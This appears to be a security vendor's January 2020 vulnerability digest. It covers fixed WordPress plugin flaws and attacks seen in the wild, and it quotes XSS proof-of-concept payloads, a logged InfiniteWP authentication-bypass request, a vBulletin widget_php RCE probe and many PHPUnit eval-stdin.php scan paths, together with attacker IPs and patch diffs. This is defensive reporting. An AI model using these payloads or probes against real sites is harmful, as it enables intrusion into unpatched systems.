Vulnerabilities Digest: January 2020

Fixed Plugins and Vulnerabilities

Highlights for January 2020

Logical vulnerabilities in PHP code are still the most dangerous and challenging to block.

The InfiniteWP Client plugin allows site owners to manage multiple websites from one central server using the InfiniteWP Server and versions < 1.9.4.5 were affected by an authentication bypass.

Exploit Attempts Seen in the Wild

54.39.10.60 -- POST -- /wp-admin/ -- _IWP_JSON_PREFIX_eyJpd3BfYWN0aW9uIjoiYWRkX3NpdGUiLCJwYXJhbXMiOnsic2l0ZV91cmwiOiJodHRwOlwvXC93ZWVkaW1wYWN0LmNvbVwvd3AtYWRtaW5cLyIsImFjdGlvbiI6ImFkZF9zaXRlIiwicHVibGljX2tleSI6IkxTMHRMUzFDUlVkSlRpQlFWVUpNU1VNZ1MwVlpMUzB0TFMwS1RVbEpRa2xxUVU1Q1oydHhhR3RwUnpsM01FSkJVVVZHUVVGUFEwRlJPRUZ....skipped..RDR1AyOStRcGtkMkRtdmRUR2VkVW5JeGFXNGkzZktDem0yd05pOUJFUTJEdkVyYUVzZ29qVkNodHZXaU5DKzhYMkI2a1wveENPK0FLYWFkUW9kRzZqVGRWQmdOeStnUzRrZElHaWhGZG9TZXRnPT0iLCJ1c2VybmFtZSI6IiIsImFjdGl2YXRpb25fa2V5IjoiNmQxOTllNjRmNjlmN2RjMjM4NGY0NThlMjEzMGU1NTI3NzZlODEzYiJ9LCJpd3BfYWRtaW5fdmVyc2lvbiI6IjIuMTUuNS4zIn0=

Detected IPs

93.95.102.51
188.127.224.35
178.32.47.218
66.228.44.215
173.249.6.22
54.39.10.60
5.196.207.195
84.238.108.177
109.96.171.178
92.119.185.126
82.77.172.62
82.78.189.130
46.253.203.36
82.77.172.62
[...]

Cross Site Scripting

Cross site scripting vulnerabilities were most predominant this month.

Contextual Adminbar Color

Contextual Adminbar Color fixed a low criticality authenticated stored cross site scripting vulnerability caused by the use of the incorrect filtering function. As mentioned in WordPress’ documentation, the function sanitize_text_field should only be used when we want to be permissive with the data we are getting from user input.

PoC

message" onfocus=confirm(123) autofocus="yes"

Patch (version 0.3)

@@ -100,6 +100,6 @@
        if ( get_option( 'contextual-adminbar-color' ) ) {
             $current_settings = get_option( 'contextual-adminbar-color' );
-            $slug = sanitize_text_field( $current_settings['slug'] );
-            $message = sanitize_text_field( $current_settings['message'] );
+            $slug = esc_html( $current_settings['slug'] );
+            $message = esc_attr( $current_settings['message'] );

UltimateFAQ

UltimateFAQ fixed a medium criticality reflected cross site scripting vulnerability caused by a lack of sanitized user input.

PoC

http://site.com/?Display_FAQ=’<svg/onload=alert(123)>;

Patch (version 1.8.30)

@@ -246,5 +246,5 @@
     }
     elseif (isset($_GET['Display_FAQ'])) {
-        $ReturnString .= "<script>var Display_FAQ_ID = '" . $_GET['Display_FAQ'] . "-%Counter_Placeholder%';</script>";
+        $ReturnString .= "<script>var Display_FAQ_ID = '" . intval($_GET['Display_FAQ']) . "-%Counter_Placeholder%';</script>";
         $Display_FAQ_ID = $_GET['Display_FAQ'];
     }

vBulletin

An RCE in vBulletin is still within the scope of attackers.

Exploit Attempts Seen in the Wild

182.161.69.114 -- POST -- /forums.php -- epass=2dmfrb28nu3c6s9j&routestring=ajax/render/widget_php&widgetConfig[code]=die(@md5(HellovBulletin));

Detected IPs

94.191.113.146
66.155.39.56
106.54.229.94
139.186.21.132
119.27.173.75
182.161.69.114
5.101.0.209
190.117.233.114
156.204.11.228
222.254.76.56
42.112.159.255
118.70.26.13
36.76.172.176
160.120.177.106
[...]

A malicious campaign that peaked last year has finally ceased this past month, mostly because some sites have stopped publishing new plugin vulnerability exploits.

PHPUnit

Attackers are still trying to leverage an RCE in PHPUnit.

Unpatched versions of PHPUnit prior to 4.8.28 and 5.6.3 allowed remote attackers to execute arbitrary PHP code via HTTP POST data.

Exploit Attempts Seen in the Wild

POST -- /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php -- 

PATH / Technologies Scanned

POST -- //admin/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php
POST -- //krisda/stockapi/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php
POST -- //laravel/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php
POST -- //old/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php
POST -- //pgd/pgnim/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php
POST -- //www/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php
POST -- //Cloudflare-CPanel-7.0.1/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php
POST -- //atoms/raphaelfonseca/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php
POST -- //entmain/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php
POST -- //protected/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php
POST -- //school/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php
POST -- //web.public/admin/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php
POST -- //dev/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php
POST -- //4walls/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php
POST -- //concrete/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php
POST -- //demo/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php
POST -- //phpmailer/PHPMailer/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php
POST -- //sistema/dompdf-master/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php
POST -- /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php
POST -- //lib/phpunit/phpunit/src/Util/PHP/eval-stdin.php
POST -- //vendor/phpunit/phpunit/Util/PHP/eval-stdin.php
POST -- //pid/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php
POST -- //blog/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php
POST -- //cms/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php
POST -- //digitalscience/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php
POST -- //fcma/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php
POST -- //vendor/phpunit/src/Util/PHP/eval-stdin.php
POST -- //phpunit/phpunit/Util/PHP/eval-stdin.php
POST -- //lib/phpunit/phpunit/Util/PHP/eval-stdin.php
POST -- //lib/phpunit/Util/PHP/eval-stdin.php
POST -- //phpunit/Util/PHP/eval-stdin.php
POST -- //simpeg-code-dinkes/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php
POST -- //site/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php
POST -- //test/med-decision/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php
POST -- //vendor/phpunit/Util/PHP/eval-stdin.php
POST -- //go2growApi/payment/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php
POST -- //new/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php
POST -- //panel/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php
POST -- //payment/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php
POST -- //vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php
POST -- //wsviamatica/wszool/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php
[...]